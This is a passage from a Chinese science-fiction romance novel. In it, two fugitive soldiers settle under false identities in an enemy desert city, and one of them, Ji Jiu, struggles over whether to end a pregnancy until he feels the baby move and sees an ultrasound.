关阙这样想着,心里有些痒痒,想去捻捻那两撮头发,觉得手感一定很柔软。 “好了,记录完毕。” 纪九抬起头的瞬间,他又闭上了眼,也按下了那蠢蠢欲动的手。 “可以睁眼了。”纪九道。 待到复制仪记录下关阙脸部的所有数据,再将数据导入制作仪,便可以用仿真材料制作面具。 这个过程只需要交给仪器,终于不用和关阙近距离对视,纪九不动声色地缓缓松了口气。 他一边活动僵硬的脖子,一边转过身,看见机器人居然还蹲在那箱颜料前。 “吴思琪,要不就挑个深黑色好了。”纪九道。 “我不喜欢深黑色皮肤。” 纪九走了过去,蹲在他身旁一起挑选:“塔柯人的机器人大部分都是深黑色,你换上那个不打眼。” “所以我讨厌深黑色啊。”机器人拒绝。 纪九想了想:“那你想做什么类型的机器人?” “要高级厨师那种的。” “高级厨师?可以!这就简单了,高级厨师的服装一般三种颜色,白,蓝,红。你想做什么颜色的厨师?” 机器人思索了半晌:“粉红吧,我看见高级营养师就穿的粉红。” 机器人好不容易定下了色,纪九便去沙发上躺着休息,余下的事交给关阙。 关阙拿着喷枪,打量着机器人:“两条腿就不用染了,我们马上就能抵达藤谷星古费城,那座城市规模不小,也有很多智能人商店,到时候给你换两条好腿。” 机器人屏幕亮了起来:“什么样的好腿?” 关阙想了想:“原装材料做成的腿行吗?” “行,很行!”但它立即又冷静下来,“可是我的原装材料只有军部才有,花钱都买不到。” 关阙摇摇头:“这世上没有买不到的材料,只看付的钱够不够。走吧,去底舱喷漆,不然这里会有漆味。” “好的,你先下去,我马上就来。” 纪九正拿着一个线团陪鸟崽玩,见机器人站在热水器前,便道:“吴思琪,帮我倒一杯水。” “你现在正是要多活动的时候,自己走两步。”机器人拒绝,却又拿起水杯接水,并对着前方大声问,“阙哥,你要喝温水还是凉水?琪宝给你端来。” 第二天,塔柯时间早上八点,纪九他们便抵达藤谷星上空。 藤谷星古费城停舰坪的工作人员刚交完班,便接收到一条请求降落的申请。 工作人员点开申请,查看上面的信息。 舰型:K398民用小型舰 编号:535H34 舰主:刘金福 所载乘客:两人 乘客1姓名:刘金福 身份卡编号:3584344560913 乘客2姓名:希桑宸 身份卡编号:3584344531102 乘客2和舰主关系:夫夫伴侣 其他种类乘客:一家庭用智能人,一鸟 和舰主关系:家庭成员 申请人:希桑宸 工作人员将两人的信息录入安全系统,按下了检测键,屏幕上立即跳出了一行绿字: 所有信息已确认真实无误 安全等级:安全 工作人员便再转回那条降落请求申请,选择了允许降落。 第47章 舰门打开,新鲜的风吹了进来,纪九眯起眼看向蓝天,深深呼吸,闻到了干燥的阳光味道。 关阙走到他身旁,曲起一条手臂,纪九便抬手挽住,两人缓缓步下舷梯。 上半身已染成粉红的机器人走在最后,背上背着鸟崽,手里拎着两个大皮箱。它刚走下舷梯,便对着旁边锃亮的提示牌左右照,模样很是满意。 纪九转头看了眼西装革履的关阙,忍不住有些好笑,低声道:“感觉怪怪的。” 关阙推了下鼻梁上的金丝眼镜:“怎么怪了?” 关阙已经戴上了那张面具,他现在鼻翼加宽,下巴和颧骨部位也填高,虽然只有小小的改动,却和自己的容貌有些差别,也不会被塔柯军安全系统识别。 舰上物资准备得齐全,他穿着一身质地做工考究的西装,戴着一副眼镜,虽然看着依旧拒人于千里之外,但只让人觉得矜贵疏离,没有以前那种直接的压迫感。 纪九则没有伪装自己,只戴着一顶棒球帽,身穿最普通样式的连帽卫衣,外面随意套着一件夹克,腆着微凸的孕肚。 他是银辉人,不担心这里的塔柯人会认出自己。而且他现在这副形象便是最好的伪装,哪怕是遇到熟人,应该也无法将这名不修边幅的孕夫,和那名冲锋战场的银盟军上校纪南瑾联系在一起。 纪九仔细看他:“怪也说不上,只是有些不习惯。不过模样虽然改变了,却依旧很帅。” “诚实。”关阙矜持地微微颔首,带着他步下舷梯,走向一旁的摆渡车。 “等等。”机器人在身后喊。 两人都停下脚步,机器人拖着两只皮箱追了上来。它松开皮箱,抬手去拍关阙后腰,殷勤地道:“阙哥这里蹭了一点白。” 停舰坪办公楼出舰口。 “这些证件和资料都很齐全,允许535H34号小型舰在本舰场停放,押金两万,每天的停舰费五百。”啪啪啪一阵钢戳声后,民用停舰场的工作人员头也不抬地问,“停几天?” 关阙站在窗口,脚边还放着一个行李箱,看上去就像是一名风尘仆仆,却又事业有成的年轻商人。 他拿出一张卡放在台上,轻轻推进窗口:“半年。” 工作人员先是看见一段骨节分明的手腕,以及那块昂贵的手表,这才抬起头,接着微微一怔。 关阙就算改变了容貌,也是非常英俊。工作人员盯着他看了几秒,这才低头刷卡填表,声音柔和了许多。 “希先生,请您稍等。” 关阙在办理手续时,纪九则坐在大厅一角的长椅上。距他只有几米远的大门口,站着几名执勤的塔柯兵,厅内也不时有穿着塔柯军装的人来来去去,有些还在神情轻松地小声交谈。 他拿着一本从书报架上拿来的杂志,一页页慢慢往后翻,看似闲散,实则内心紧绷。 虽然他知道这里没人认识自己,但看见那熟悉的制式军装,总下意识想要去摸枪。机器人紧挨着它坐着,挺直着脊背,屏幕上的眼睛转来转去,一会儿去看门口的塔柯兵,一会儿去看靠在墙上的一把金属铲。 鸟崽有些怯生,规矩地趴在机器人肩上,缩起脑袋。偶尔悄悄抬头看一眼,又重新将眼睛藏起来。 “吴思琪,别紧张。”纪九小声道。 “我知道的。”机器人也压低了声音,“但是只要想到这些看见的全是塔柯人,我就有些冲动。” “这是在别人的地盘,当然全是塔柯人了。你就当这是银辉星,看见的全是银辉人,就不会再冲动。” 关阙那边已经走完了所有流程,工作人员将他和纪九的证照递出窗口:“请收好你们的身份卡和停舰证,祝二位在古费城生活愉快。” “谢谢。” 工作人员看着希桑宸走向大厅一侧,而他的伴侣便放下手里杂志站起了身。 他比希桑宸矮了半个头,腹部有一些隆起,显然是一名孕夫。希桑宸目光温柔地看着他,和他说了什么,并接过他手里的拎包,两人并肩走向大厅门口。 粉红色的家庭机器人跟在他们身后,拖着两个大行李箱,背着一只秃毛家禽,也许是他家的宠物。 那家禽宠物还挎着一个小包袱,看上去挺有意思,就是毛有点秃。 工作人员一直看着他们的背影,看着他们轻声交谈,希桑宸不知说了什么,他的伴侣便仰头看着他笑,露出帽檐下一双极其漂亮的眼睛。 两人走出大厅玻璃门,一辆出租车驶过来停下。希桑宸拉开后座车门,让他的伴侣先上车,他的手就虚虚扶在伴侣身后,看上去既体贴又温柔。 直到出租车离开,工作人员才收回视线,看着文件露出微笑。他心里既觉得很美好,同时又有一些怅惘和艳羡,片刻后叹了口气,拿过一叠文件开始戳章。 还是实际一点,好好工作多多挣钱。 这是纪九人生里第一次踏足塔柯人的城市,他虽然看似平静,精神却一直紧绷,也有一些我此时置身敌营,却没有一个人发现的刺激感。 他扭头看着车窗,窗外黄沙漫天,只能看见影影绰绰的房屋轮廓,街上没有什么行人,仅有的一两人也都裹着头巾匆匆前行。 他其实很想问关阙,问他当初到达银辉星时是什么感受,但司机就在前方,实在是不方便开口,便只转头去看他。 关阙坐在身旁,神情沉稳,如一座安全可靠的山,让他觉得关阙应该没有自己这么多的想法,同时也让他放松下来,不再那么紧张。 “沙尘暴就要来了,车费要双倍。”司机刚说完这句,出租车就突然一个颠簸,纪九猝不及防地往左倒去,被一条有力的臂膀给揽住。 “小心,这一带路面不是很平整。”关阙低声解释。 出租车又是一个颠簸,坐在副驾驶的机器人语气有些严厉:“司机,请你注意保持车辆稳定。车上有一名孕夫,如果伤到了胎儿怎么办?” “古费城的路面就是这样的,每天都有载着大型军用品的车辆通过,所以被压得坑坑洼洼。”司机解释。 “你们的路面没维护吗?”纪九问道。 “随时都在修,你看前面那段,半边路被封住,又在填坑。我们古费城驻扎着太多军队,城内就有540和345军营,城边还有整个塔柯星系最大的军工厂,每天重型车辆来来去去,刚修好就又被压出坑了。”司机道。 出租车在黄沙中颠簸向前,每颠簸一次,机器人就看一次司机,目光越来越亮,犹如两道凌厉光束。它虽然一句话没说,但用行为表达出了浓浓谴责,也让司机承受的压力越来越大。 “你们能不能让这个机器人不要看我?”司机终于忍无可忍地问,“我都被它晃得不知道该怎么开车了。” 纪九探出身,拍了下机器人的肩。 “吴思琪,你不要这样。”他低声道。 “可是宝宝——” “没有!不存在!没可能!”纪九喝道。 出租车紧赶慢行,终于在沙尘暴来临前一刻,将车停在了酒店外。停车场离酒店还有一小段距离,纪九只觉得眼睛都睁不开,疾风卷着砂砾,刮得人暴露在外的皮肤生疼。 “吴思琪——!”纪九想提醒机器人注意鸟崽,刚张嘴就是满口沙。关阙将他脸按进自己胸膛,一手环住他的肩,一手拉着行李箱往酒店走。 风沙不影响机器人说话,它拖着两个行李箱,一路滔滔不绝:“放心,行李箱都带着,雀宝在我背上——咦!雀宝呢?雀宝?” “啾啾!”疾风送来鸟崽细弱的叫声,机器人这才发现它掉在了出租车旁。鸟崽逆着风往这边行走,被风吹得摇摇晃晃,它张开翅膀想稳住身形,却反倒被风吹了个倒仰,在地上翻了好几个滚。 机器人便赶紧拖着行李箱掉头,将鸟崽抱了起来。 现在这种情况没法离开,司机也和他们一起去往酒店暂避。几人刚刚进入酒店大门,沙尘暴便已汹汹而来,无尽黄沙笼罩住整个城市。 办好入住手续后,司机表示留在大堂内休息,关阙两人便乘坐电梯到了12层,进入了他们的房间。 关阙订了这家酒店最好的套房。一进门,机器人便将鸟崽放去洗脸池,打开水龙头冲洗。纪九去拉开落地窗窗帘,看见天地一片昏黄,光线暗沉如同夜晚。砂砾打在厚实的玻璃窗上,唰唰的细密声响连接成片。 “藤谷星经常会有沙尘暴吗?”纪九问道。 关阙正蹲在地上整理皮箱:“那倒不是,只有古费城这一片。” “你到这儿来,是和军工厂有关吗?” 关阙抬起头,纪九靠在落地旁,安静地和他对视着。 “也许有关,也许无关。”关阙从里面取出几件衣物,起身去挂在衣柜里,嘴里道,“我来这里,是想找一样东西。” 纪九敏锐地问:“与暗影之牙和光明之眼差不多的东西?” 关阙转头看了他一眼,将一件衬衫挂在衣架上,这才回道:“智慧之心。” “第三块?” “对。” “它在军工厂里?” “我不知道它在哪儿,但知道它下落的人,可能在这座城里。”关阙又拿起纪九几件叠好的T恤,放进衣柜里,“我掌握的线索不多,不过不着急,慢慢来,我说过,我有充裕的时间。” 他再次转头看向纪九,目光落在他的肚子上,又极快地滑走:“你现在正那个着,不管想怎么处理,也都需要稳定下来,暂时不适合到处奔波。我们就在这座城里住上一段时间,怎么样?” 纪九垂下眼,睫毛颤了颤,手指轻轻揉着一片窗帘。 “这里的医疗条件怎么样?”他问道。 关阙注视着他:“下午我们出门,带着吴思琪和纪雀去逛逛,顺便打听一下哪家医院比较好?” “嗯。”纪九轻声回道。 机器人带着鸟崽去参观酒店各楼层,纪九头脸上全是沙,便去洗了个澡。 他走出卫生间时,发现沙尘暴已经褪去,天空上又挂起了明晃晃的恒星。他穿着浴袍站在落地窗前,一边擦头发,一边打量这座塔柯人的城市。 城市里的房屋大多是低层,虽然他们只住在酒店十二层,却是城里难得的高楼,所以也能将整座城市尽收眼底。 这座城市面积很广,房屋一眼望不到头。可能是因为经常遭遇沙尘暴的关系,城里大多是一些两三层小楼,圆弧顶,造型古拙,灰扑扑的墙身不加装饰,像是盛开着遍地灰色蘑菇,是纪九以往未曾见过的异域风景。 此时沙尘暴褪去,四处却也有着深深浅浅的黄,街道上出现了行人,成列的军车开始运送物资。 纪九看着这座陌生的城市,突然就很想念银辉星耀炽城。 但他现在身负罪名,逃亡在外,别说给那些士兵报仇,就连自己什么时候能回去都不知道…… 浴室里的吹风声消失,房门打开,关阙衣着整齐地走了出来。他已经取下了面具,依旧是衬衫长裤,只不过衬衫袖子挽起,露出两条修长的小臂,顶上的两颗纽扣也敞开着,显出一小片结实的胸膛。 他看向站在窗边的纪九,看见他正看着窗外出神,微垂的长睫盖住了眼眸,在下眼睑上投下了一片阴影。 “……四号会有一批克矿从银辉星运往晨曦星,护送人员不多,中途会在56号看空间站短暂停驻……” 纪九听见这段声音,立即从自己的思绪里回过神,猛地转头看去。 关阙站在播放器旁边,对他指了下沙发:“来,现在我们有时间了,来仔细研究王总的这段录音。” 纪九嘴唇动了动:“可是这录音里什么也没有。” “你要想找到那名幕后者,就不能放过一切可能和他有关的线索,必须仔细找,找出他留下的蛛丝马迹。” 关阙在沙发上坐下,拍了拍身旁,再对纪九勾了下手。 纪九朝着他一点点笑了起来,眼里的愁闷瞬间散尽。关阙仰头看着他,眼睛也微微闪光。 “好,来找,仔细找。”纪九大步走了过去。 “……四号会有一批克矿从银辉星运往晨曦星……这次我的收费是一千七百万,直接打入那个账户……四号会有一批克矿从银辉星运往晨曦星……” 两人一遍遍地听,翻来覆去琢磨,可听得纪九头脑发胀,那段话都能倒背如流,也没发现什么端倪。他看了眼关阙,见他还在侧耳细听,突然就站起身,皱起眉要去关那播放器。 “算了,别听了,我就说这段录音没什么用——” “等等。”关阙却出声打断。 关阙起身上前两步,将播放器的音量旋到最右,那经过变身器处理的声音跟着陡然变大,也更加刺耳难闻。 “……四号会有一批克矿从银辉星运往晨曦星——” 关阙暂停,倒回去,从头开始播放,纪九不知他发现了什么,也仔细地听。 “……四号会有一批克矿从银辉星运往晨曦星——” 关阙再次按下暂停时,两人交换了一个眼神。 纪九神情变得激动:“你听见了吗?他说话的过程里,出现了三次敲击声,哒!哒!哒!” “对,我听见了。” 两人再次重新听,这次那哒哒声听上去更加清晰。虽然不响亮,却很清脆,像是用棍子在敲击什么金属物体的声音。 十分钟后,关阙坐在椅子上,看着纪九在屋内踱来踱去。 “那哒哒哒是什么呢?是什么呢?哒,哒,哒……”纪九念叨着去了卫生间,再出来时,手里便拿着一根筷子粗细的金属棍。 他敲敲柜门,又去敲敲床栏:“不对,这是梆梆梆,这是砰砰砰……哒哒哒是什么呢……” 他在屋里转来转去,搞出各种动静,不时仰头沉思,不时又低头喃喃自语。 关阙见他在屋内转悠了老半天,便看了眼手表,站起身:“先别想了,没准哪一天,突然就能发现这声音的来源。现在快十二点了,我们出去吃个午饭,然后去逛街。” 机器人刚好进门,听见这话后,立即快步走进屋:“逛街吗?可以,我马上准备。”接着看向关阙,“阙哥,是要去逛智能人商店吗?” “不用,那些商店没有和你相同的材料,我会去地下交易所购买。”关阙环视着房间,“我们要在这城里呆上一段时间,一直住在酒店的话不方便,也不安全,今天下午就去选一套住宅吧。” 第48章 离开酒店,关阙便叫了一辆车,在司机的推荐下,去了一家餐厅吃本地菜。 古费城建在沙漠边缘,楼层普遍不高,但地势开阔。纪九进入这家餐厅后,发现前厅内没有座位和食客,只有装饰雕塑和喷泉。一名机器人迎了上来,带他们坐上电瓶车,穿过一条介绍本家餐厅的视频长廊,去往用餐的大堂。 “我从来没有见过你。”机器人打量着吴思琪,“你是第一次来我们餐厅吧?” 吴思琪记得这是名塔柯机器人,所以紧闭着嘴一言不发。 “你叫什么名字?” “我叫佩佩。” “我在这里工作了五年了。” “你看上去有点艳丽。” 吴思琪听到最后一句,终于没有忍住:“这是我的新皮肤,我见过的机器人里,没有谁拥有我这样的皮肤。” 电瓶车很快到达大堂,两人面对面坐下。侍者呈上菜单,纪九对塔柯菜一窍不通,便直接让关阙替他点。 关阙很快点好菜,将菜单还给侍者:“三份。” “请问是还有客人要来吗?” 关阙指了下蹲在餐桌一端的鸟崽:“它的。” 侍者和睁着大眼睛盯着自己的鸟崽对视两秒,有些为难地道:“客人……” 纪九知道侍者的顾虑,如果有其他来吃饭的客人,看见鸟崽也使用和自己相同的餐具进食,难免会有所介意,便从包里取出一只瓷碗:“这是它的碗。” “好的,请稍等。”侍者便接过了碗。 食物很快上桌,侍者还贴心地给鸟崽系了一条餐巾,将满满一碗拌了调料的鱼肉粒放在它面前。 纪九拿起刀叉:“开动。” 鸟崽立即将脑袋扎进碗里,笃笃地吃得很香。 “打入敌人内部的第一步,就是要尝尝他们的食物。”纪九对关阙低声笑着,叉起一块鱼肉喂进嘴。但才嚼了两下,神情便有些怪异,嘴里包着那块鱼肉一动不动。 关阙一直看着他,见状便递上一个空盘:“吐了。” 纪九摇摇头:“能坚持……”接着便艰难地一伸脖子,将那口鱼肉咽了下去,再端起水杯猛灌了两口。 “这个调料好怪,说不出来的怪。”纪九指着盘里的菜。 “塔柯人的饮食习惯和银辉人不同,吃不惯很正常。以后我们可以自己做饭,不用出来吃。”关阙放下刀叉,叫来了侍者,“尤空鱼重新来一份,不要加贺叶粉末。” “好的。” 侍者去端纪九面前的餐盘,纪九见那菜品着实精美,而且自己只吃了一口,忍不住便问了句:“这道菜多少钱一份?” 侍者微笑着回道:“一万两千塔柯币。” 纪九脸色微微一僵,忍住了那声就要脱口而出的我靠。 侍者察言观色,解释道:“这道菜的主要食材是只有K345行星才有的尤空鱼,每天由星舰运来,才能保持新鲜。其他食材配有黑绒云干酪和阿克斯蓝鲸鱼子酱。” 虽然纪九一样都没听说过,但昂贵的价格就摆在那里。他见侍者就要端起餐盘,赶紧阻止:“不用换了,我就吃这个。” “你不是不喜欢这个调料吗?”关阙问。 “不,刚吃的时候有些不习惯,但现在感觉回味悠长,满口生香。”纪九又对侍者笑笑,“不好意思。” “没事,您请慢用,有需要的话再叫我。” 待到侍者离开,纪九才压低声音道:“我知道你有钱,但也不用这样挥霍吧?一万二,你怎么点得下手的?你知道我一个月薪水是多少吗?这么一小盘,就吃掉了我两个月的薪水。” 关阙也不说话,只靠着椅背,眼含笑意地看着他。 “你还笑?真的,我都心梗了。我得把这些鱼全部吃光,哪怕掺了毒药都要吞下去。”纪九刚拿起刀叉,目光看向正笃笃啄食的鸟崽,问道,“它那也是吗?” 不待关阙回话,他又立即打断:“算了,别告诉我,我不想知道。” 纪九开始小口吃鱼,每一口都仔细咀嚼,皱着眉头认真品味,再慢慢咽下去。 “我知道它的价格后,吃起来感觉就不一样了。虽然入口有点辛,但辛得很特别,肉质细腻,回味无穷,好吃……” “那再给你点一份怎么样?”关阙挑起了眉。 纪九顿了顿,放下刀叉,左臂横在胸前,右手架上去,做了个瞄准的动作:“砰!击毙你。” 鸟崽很快便吃过饭,被纪九抱下桌子,扇着翅膀跑去餐厅另一边。吴思琪正站在那里,和那名开电瓶车的机器人聊天。 “我这个叫做胭脂粉,是很好看的一种粉色,我调了很久。” “哦,但是你的腿有些奇怪哟。” “我马上就要换腿了,换很好的腿。” “那你的主人很有钱哟。” “不是我的主人换。”吴思琪想了想,“他很穷。” “那是谁给你换?” “是我哥。没有血缘关系的亲哥。你懂我的意思吗?” “懂,傍大款。”那名机器人道。 现在不管侍者端上什么菜,纪九都吃得很香,仔细品尝,回味,并指出每道菜特别的妙处。 “一股强烈的,说不清道不明的感觉,直冲脑门,非常过瘾,很奇妙的体验……”纪九用纸巾擦着被刺激出来的眼泪,指着面前的汤,“这个口感这么绝,应该很贵吧?” 关阙回忆了下:“不贵,这是本地人最爱喝的一种汤,就算是在这家餐厅吃,也是非常便宜。” “怎么等我喝了一半才说?”纪九愣了愣,接着丢掉勺子:“我说怎么这么难喝,端走端走,赶紧的。” 关阙一直看着他,自己都吃得很少,便笑着替他将汤拿开,问道:“等会儿离开餐厅,我们先去哪儿?” 纪九没有回话,但神情立即就淡了下来,眼睛也看向一旁。 关阙瞬间明白,也转头看向旁边窗户:“那就去医院。” “好。”纪九回道。 一阵长久的沉默,关阙微微蹙眉,似在思索什么,最后有些迟疑地问道:“其实你有没有仔细想过?” “想什么?” “那个。” 纪九拿起勺子,一下下戳着面前盘子里的蛋糕:“还有什么好想的呢?” 关阙双手交握放在餐桌上,手指节握得有些紧。 他抿了抿唇:“那个……不是可以随意扔掉,反悔了又能捡回来的。我希望你能仔细感受一下,找到你内心最真实的想法。” “难道我的想法还隐藏得很深吗?”纪九抿了抿唇。 “我只是希望你做出的每一个决定,都是你深思熟虑的结果。” “这已经是我深思熟虑的结果。”纪九神情淡淡地道。 “纪九,我想问你几个问题。”关阙停顿了片刻后才道,“你很讨厌他吗?为什么?你曾经设想过有孩子的人生是什么样吗?当你设想的时候,你觉得他会给你的未来带来什么?” “我现在就可以回答你——” “不要现在回答,认真想想。” 关阙站起身,抬起手臂看了下腕表:“给你十分钟时间想清楚,我去门口打个电话。” 纪九看着关阙掏出电话,大步走向无人的地方,便仰着头靠在了椅背上。 餐厅里原本有三桌客人,现在都已经离开,只剩下他们这一桌。一辆电瓶车从旁边通道开过,吴思琪抱着鸟崽坐在那名机器人身旁,对话声随着轻柔的钢琴伴奏,隐隐约约飘入他耳中。 “……我家马上要多一个宝宝,我是他叔叔……我要学做饭,给宝宝补充营养……你那里有关于早教的资料吗……” 纪九闭上了眼,将脑内的那些胡思乱想赶走,沉下心,就像关阙所说的那样,开始认真地思考这件事。 你很讨厌他吗?为什么? 你曾经设想过未来有孩子的人生是什么样吗? 当你设想的时候,你觉得他会给你的未来带来什么? 当纪九问出这几个问题,才有些惊讶地发现,从知晓怀孕以后,他满心都是抗拒和厌烦,脑子里全是如何将这个包袱给处理掉,从来都没有去正视过,也没有真正去理清自己的想法。 你很讨厌他吗? 是的,我讨厌他。 为什么? 因为他的存在,无时无刻不在提醒我,我曾经遇到过一件很糟糕的事。虽然对我做出那件事的人已经死亡,我也尽量去遗忘,但只要他在,那份屈辱便不会消失,会一直横在我的心里,如一根顽固的刺。 你曾经设想过未来有孩子的人生是什么样吗? ……是的,我设想过。 并且期盼过。 纪北宴总是很忙,不是在出任务就是在练兵。他有时候会拒绝士兵的接送,独自一人回到那空寂的家,在父母遗像的注视下,安静地吃饭,睡觉。 有家人的孤单只是一种情绪,失去家人后的孤单,那情绪里便掺杂了痛苦。一个人的夜晚,房屋空寂得像是一座坟墓,所以他在很长一段时间内,每晚都和帮派兄弟们一起喝酒玩乐或是斗殴,再带着一身酒气或满身伤痕回家,倒头便睡。 某个醉醺醺的晚上,他刚回家,便看见满脸怒气的纪北宴。 纪北宴还穿着作战服,显然刚结束了一次任务便赶来了,瞧见满嘴酒气的纪九,他目光里全是痛心。 “纪九,你到底想要什么?告诉我,你到底想要什么?学校说你已经半个月没去过了,你这些天究竟去哪儿了?” 纪九醉眼惺忪地笑了笑:“哥,你还记得我啊?其实不是半个月,我都快一个月没去学校了,你现在才知道吗?” 那晚纪北宴对他动了手,还将他的那一堆奇装异服全部扔进了垃圾桶。他被揍得鼻青脸肿,关在家里三天没能出门。 三天后的夜晚,他一瘸一拐地去丢垃圾,然后在台阶上坐下,仰头看着天上的月亮。 纪九,你到底想要什么? 我想我哥哥能不那么忙,我想爸爸妈妈还活在世上。 他逐渐成年,终于幡然悔悟,不再和帮派的人厮混,还通过不懈努力和自身过硬的能力进入了军队。 他变得成熟,不再孩子气,也不再执着于让纪北宴多陪他,或是让父母复活。但那想有个家的执念却从未消失,依旧盘桓在心底,扎根于内心深处。 他开始展望未来,在安静的无人时设想自己以后的家。那个家不必大,也不必豪华,但他在夜归时,必定可以透过窗户,看见一盏橘红色的温暖灯光。 他风尘仆仆地推开房门,面目模糊的伴侣迎了上来,还有咯咯笑的可爱小孩。 小孩…… 军营旁边有一家小卖部,店主家三四岁的女儿经常在门口玩,骑在一架摇晃的木马上,看士兵们进进出出。 他去小卖部买东西时,总会逗弄她,听她奶声奶气地说两句,或是摸摸她的脑袋。小孩的头发柔软,仰着头看他,那模样让他的心也跟着变得柔软起来。 是的,我期盼过,他在心里承认。 如果我有了孩子,他会给我的未来带来什么? 会给我带来热望和希冀,让我的生命有了亮色。 可我想要的,是我准备好了一切,在我和我伴侣的满心期待中到来的孩子。而不是在一场侵犯里诞出的恶果,也不是在逃亡路上增添的包袱。 当纪九终于从自己的思绪里回过神时,不知道过了多久,但肯定不止十分钟。 关阙已经打完电话坐在了他对面,也没有打扰他,只沉默地等待着。 关阙见纪九朝自己看来,清楚他已经有了答案,便问道:“想好了?” “想好了。” 纪九慢慢站起身,声音有些暗哑:“走吧,我们出发去医院。” 既然要去医院,那么吴思琪就是个大问题。 虽然吴思琪没有明确说过,但纪九知道它很憧憬这个胎儿的到来。它胸前储物箱里,还放着那本从医院超市里带出来的孕夫守则,它有时候在偷偷看,还以为没有被人发现。 关阙显然也很清楚这一点,两人虽然没有商量,却彼此很有默契。关阙打了一辆出租车,直接让司机将车开向酒店方向,纪九则道:“我想去一趟服装店,你俩是回酒店看动画片,还是和我一起去每家遇到的服装店里逛,把每一件衣服都拎出来试,最后一件没买地返回?” 他这句话里包含多种机器人不喜欢的元素:服装,没完没了地逛服装店,没完没了地试衣服,最后两手空空,虚耗时光。 至于鸟崽,动画片三个字,就足以牵走它的魂魄。 鸟崽立即就抱着机器人的胳膊,央求地啾啾。机器人低头看了它一眼,回道:“那我们回酒店吧。” 将机器人和鸟崽送回酒店后,出租车顺着街道继续往前。 沙尘暴褪去后的古费城,显出了它的原本面貌。路上行人变多,一些商店已重新开门。街道两边的房屋造型古朴,围墙却皆是有着繁复花纹的铁栏。 这里的居民很爱种一种类似爬山虎的藤类植物,关阙说那叫沙藤。有人正用水管冲刷自己院子里的藤蔓,那叶片上的黄沙洗净,显出下方苍翠的绿,生机勃勃地爬了满墙。 前方是红绿灯,出租车在线前停下,纪九坐在后座,沉默地看着窗外。 他这里挨着一家住户的围墙,那墙上的爬藤已久未修枝,叶片簇拥,枝蔓交缠。还有一根细藤被风送入了敞开的车窗,指甲盖大小的嫩叶儿挂在藤尖,随着风颤颤。 纪九脸上浮起一丝柔和的笑容,他伸出手指,很轻地,小心地去触碰那片嫩叶。 但他的指腹刚触到叶面上那层绒绒的软毛,便突然顿住了动作。 他感觉小腹里动了下,像琴弦被轻轻拂动,小鸟的尖嘴碰了碰蛋壳,石缝里的小鱼悄悄探出了头。 这感觉稍不注意就会被忽略,只有在极静时,才能辨清那不是一种错觉。 纪九屏住呼吸,低头看向自己的小腹。 他出来时穿着一件挡风的夹克大外套,但拉链敞开着,可以看清T恤下的凸起。 又是一下! 这次的力道大了些,让他能清晰地感觉到。 琴弦发出震耳的重响,小鸟有力地啄动蛋壳,小鱼冲向水面甩动尾巴,溅起一片绚烂水花。 纪九缓缓抬起手,抚上了小腹。掌心下有一小块硬包,像是一只调皮的小脚。 这是纪九第一次感觉到了胎动,第一次意识到自己腹中孕育着一个崭新而娇嫩的生命。他看似平静,但胸膛里像是炸开了一道惊雷,心潮翻涌,层层叠叠,卷起了惊涛骇浪。 他不再是一个如同肉瘤般生长在肚子里的寄生物,他也不再是一个被称为胎儿的名词。当他蹬动小脚的那一刻,便如同种子成为了新芽,孢子长出了伞盖,生命两字便已具象化,也有了新的意义。 红灯熄灭,绿灯亮起,出租车司机踩下能量板,那根生着嫩芽儿的藤条滑出了车窗。 纪九依旧侧头看着窗外,看着那花样繁复的围栏和圆弧屋顶,眼睛却变得湿润起来。 你是感觉到了吗? 你已经知道将要发生什么了吗? 纪九闭上眼靠着车窗玻璃,在这一刻,觉得他其实知道一切,包括自己之前的那些厌烦和抗拒,还有此时的负罪感和迟疑。 对不起…… 540塔柯军附属医院是古费城设施最完善的综合医院,其中也包括产科。关阙在挂号队伍里排着,高大的身形在人群中格外醒目。纪九坐在大厅长椅上,脊背挺得很直,怔怔看着大门出神。 “孕夫叫什么名字?”工作人员在窗口后问。 刚排到的关阙回道:“刘金福。” 工作人员双手在键盘上飞速输入:“伴侣叫什么名字?” “希桑宸。” “好了,现在拿着这张表格去产科吧。” 关阙接过表格:“请问产科在哪儿?” “从后门出去,第五栋楼。” 第49章 附属医院面积很大,但楼层不高,所以科室都分成为数栋独立的小楼。关阙拿着表格,和纪九顺着大路往前,一路经过骨科,烧伤等科室,走到了第五栋楼,也就是产科楼处。 关阙进入大厅,和迎上来的机器人接待员交谈。纪九站在台阶上,见门内出来了两人,便侧身让开路。 其中一人穿着宽松的家居服,身形略微富态,应该是名产夫。他的伴侣抱着一个襁褓走在他身旁,满脸都是笑容。一名家用机器人则拖着行李箱,亦步亦趋地跟在两人身后。 纪九在他们经过身侧时,往那襁褓看了眼,便看见了一张熟睡中的粉嫩小脸。那嘴唇还一动一动地吸吮着什么,像是一小骨朵粉色的花蕾。 纪九一直看着两人,看着他们停在一辆出租车旁。机器人将行李箱放去后备箱,产夫进入后座,他的伴侣抱着婴儿,也小心翼翼地坐了进去。 直到出租车驶远,他才转过身,却见关阙不知什么时候已结束了和机器人的交谈,正站在厅内看着他。 纪九略一愣怔,接着问:“手续都办好了吗?” “走吧,二楼。”关阙道。 “这么快?” 关阙解释:“不是做手术,是还要进行身体检查。” 到了二层,关阙便等在家属室,而纪九在机器人助理的指引下,做着各种术前身体检查。他有些魂不守舍,好几次需要机器人重复交代,才会反应过来。 “刘先生?刘先生?” “啊,我在。”纪九从怔忪中回过神。 机器人助理极其有耐心:“刘先生,您的基础体检已经做完了,身体各项都符合手术要求。现在您可以去走廊尽头的房间,有医生为您做最后一项检查。” 机器人去往底层接待新病人,纪九独自走向了走廊尽头的房间。走廊上贴着各种宣传画,纪九侧头看了两张,觉得那上面的母婴知识有些刺眼,便又收回了视线。 “刘金福先生是吧?”戴着口罩的医生正在看面前的三维屏,见到纪九进门后便站起身,“请在这张小床上躺下。” 纪九躺在床上,看一架仪器嗡嗡着停在了自己腹部上方。 “……是个男婴,长得很好。孕夫和孕妇不同,在这种月份做流产手术,还要拿掉孕囊,对身体肯定会造成一些伤害……” 医生坐在三维屏前,公事公办地查看纪九的身体情况。纪九平视着上方的天花板,医生没有什么起伏的声音进入耳里,显得有些遥远。 “……你的孕囊发育得很漂亮,产道形成良好,以后生产会很顺利……”医生的声音里还是带上了一丝惋惜。 纪九正安静躺着,突然感觉肚子又动了下。他抬起头,看向自己隆起于身体平面的腹部,视线却不受控制地往前,一下就看见了背对自己的医生,以及他面前那面放大的三维屏。 猝不及防地,三维屏画面就那么直直撞进了他的视野,也撞进了他的心脏。 纪九在这一刻,看到了他这辈子见过的最美的画面,眼里再也容不进其他,这房间里的所有一切都变成了背景板。 